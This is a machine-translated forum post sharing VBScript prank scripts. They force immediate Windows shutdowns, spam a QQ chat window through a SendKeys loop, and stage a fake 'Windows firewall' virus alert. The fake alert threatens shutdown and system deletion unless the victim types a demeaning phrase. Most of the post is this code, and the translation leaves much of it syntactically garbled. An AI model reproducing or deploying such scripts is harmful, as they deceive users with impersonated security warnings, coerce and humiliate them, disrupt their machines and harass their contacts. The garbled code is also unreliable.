Dim MSHshell
The set WSHshell=wscript. Createobject (" wscript. Shell ")
WSHshell. Run "shutdown - f - s - t 00", 0, true
this is with VBS command CMD shutdown command shutdown method
Set the ws=createobject (" wscript. Shell ")
Ws. Run "CMD. Exe/c shutdown - s - f - t 0"
before using all file ok
2. QQ information harassment spoof
On the Error Resume Next
Dim the WSH, ye
Set the WSH=createobject (" wscript. Shell ")
For I=1 to 15
Wscript. Sleep 700
The WSH. AppActivate (" XXX ")
The WSH. SendKeys "^ v
"
The WSH. SendKeys I
The WSH. SendKeys "% s"
Next
Wscript. Quit
is 15 times, can change
3. To delete a blank line in the middle of the line, the suffix changed. VBS
Msgbox (firewall "abnormal"), vbQuestion, "Windows firewall"
Msgbox (" virus detected "), vbQuestion, "Windows firewall"
Msgbox (" is scanning the virus "), vbQuestion, "Windows firewall"
Dim j
The do while j<1
Select Case msgbox (" whether antivirus, "68," the Windows firewall ")
Case 6 j=1
Case 7 msgbox "the virus can make computer explosion" + CRH (13) + "must be antivirus + CRH (13), 0," Windows firewall "
End the Select
Loop
Msgbox (" is antivirus "), vbQuestion, "Windows firewall"
Msgbox (" crash "), vbQuestion, "Windows firewall"
Msgbox (" antivirus failure "), vbQuestion, "Windows firewall"
Msgbox (" virus invasion success "), vbQuestion, "virus"
Msgbox (" let you see my bad "), vbQuestion, "virus"
Dim WSHshellA
The set WSHshellA=wscript. Createobject (" wscript. Shell ")
WSHshellA. Run "CMD. Exe shutdown - r - 180 - t/c c", "said I was mentally retarded, don't say I am a pig just one minute to turn it off, not letter, try...", "" 0, true
Dim a
Do
A=inputbox (" input I am mentally retarded, or shut down, ")
If a="I am mentally retarded" then
Msgbox "ha ha, be pit" + CRH (13) + "you are mentally retarded," 0, "virus"
The exit do
The else
Msgbox "shutdown" + CRH (13) + "delete system" + CRH (13) + "" are three minutes later, zero," virus "
End the if
Loop
Dim WSHshell
The set WSHshell=wscript. Createobject (" wscript. Shell ")
WSHshell. Run CMD. Exe/shutdown - a "c", 0, true
CreateObject (" Wscript. Shell ".) run "CMD. Exe/c shutdown - s - 120" t
Msgbox "sure, now shut down" + CRH (13) + "do not choose, two minutes after power off", 0, "virus"
Dim CSHshell
The set WSHshell=wscript. Createobject (" wscript. Shell ")
WSHshell. Run CMD. Exe/shutdown - a "c", 0, true
Dim MSHshell
The set WSHshell=wscript. Createobject (" wscript. Shell ")
WSHshell. Run "shutdown - f - s - t 00", 0, true
Next
don't input "I am mentally retarded" and then shut down, the later is to shutdown the VBS virus
CodePudding user response:
Don't pit yourself, happy go is the will of others